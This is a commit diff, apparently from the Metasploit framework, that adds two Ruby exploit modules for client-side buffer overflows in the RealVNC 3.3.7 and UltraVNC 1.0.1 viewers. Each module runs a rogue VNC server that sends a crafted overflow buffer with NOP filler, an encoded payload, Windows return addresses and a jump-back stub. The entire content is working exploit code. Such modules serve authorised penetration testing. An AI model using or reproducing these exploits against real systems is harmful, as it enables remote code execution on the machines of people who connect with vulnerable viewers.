port of realvnc/ultravnc modules

git-svn-id: file:///home/svn/framework3/trunk@4201 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/vnc/realvnc_client.rb

@@ -0,0 +1,72 @@
+module Msf
+
+class Exploits::Windows::Vnc::Realvnc_Client < Exploit::Remote
+
+	include Exploit::Remote::TcpServer
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'RealVNC 3.3.7 Client Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).
+			},
+			'Author'         => 'MC',
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 1.0 $',
+			'References'     => 
+				[ 
+					[ 'BID', '2305' ],
+					[ 'CVE', '2001-0167' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 500,
+					'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
+					'MaxNops'  => 0,
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows 2000 SP4 English',	{ 'Ret' => 0x7c2ec68b } ],
+					[ 'Windows XP SP2 English',	{ 'Ret' => 0x77dc15c0 } ],
+					[ 'Windows 2003 SP1 English',	{ 'Ret' => 0x76aa679b } ],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Jan 29 2001',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[ 
+				OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
+			], self.class)
+	end
+
+	def on_client_connect(client)
+		return if ((p = regenerate_payload(client)) == nil)	
+
+		filler = make_nops(993 - payload.encoded.length)
+
+		rfb = "RFB 003.003\n"
+
+		sploit =  "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded
+		sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')
+		sploit << Rex::Text.rand_text_english(200)
+
+		client.put(rfb)
+
+		on_client_data(16)
+
+		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
+		client.put(sploit)
+
+		handler
+		service.close_client(client)
+	end
+
+end
+end

modules/exploits/windows/vnc/ultravnc_client.rb

@@ -0,0 +1,73 @@
+module Msf
+
+class Exploits::Windows::Vnc::Ultravnc_Client < Exploit::Remote
+
+	include Exploit::Remote::TcpServer
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'UltraVNC 1.0.1 Client Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a buffer overflow in UltraVNC Win32
+				Viewer 1.0.1 Release.
+			},
+			'Author'         => 'MC',
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 1.0 $',
+			'References'     => 
+				[ 
+					[ 'BID', '17378' ],
+					[ 'CVE', '2006-1652' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 500,
+					'BadChars' => "\x00",
+					'MaxNops'  => 0,
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows 2000 SP4 English',	{ 'Ret' => 0x7c2ec68b } ],
+					[ 'Windows XP SP2 English',	{ 'Ret' => 0x77dc15c0 } ],
+					[ 'Windows 2003 SP1 English',	{ 'Ret' => 0x76aa679b } ],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Apr 4 2006',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[ 
+				OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
+			], self.class)
+	end
+
+	def on_client_connect(client)
+		return if ((p = regenerate_payload(client)) == nil)	
+
+		filler = make_nops(980 - payload.encoded.length)
+
+		rfb = "RFB 003.006\n"
+
+		sploit =  "\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"
+		sploit << payload.encoded + filler + [target.ret].pack('V') 
+		sploit << "PASSWORD" + [0xe8, -997].pack('CV')
+
+		client.put(rfb)
+
+		on_client_data(16)
+
+		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
+		client.put(sploit)
+
+		handler
+		service.close_client(client)
+	end
+
+end
+end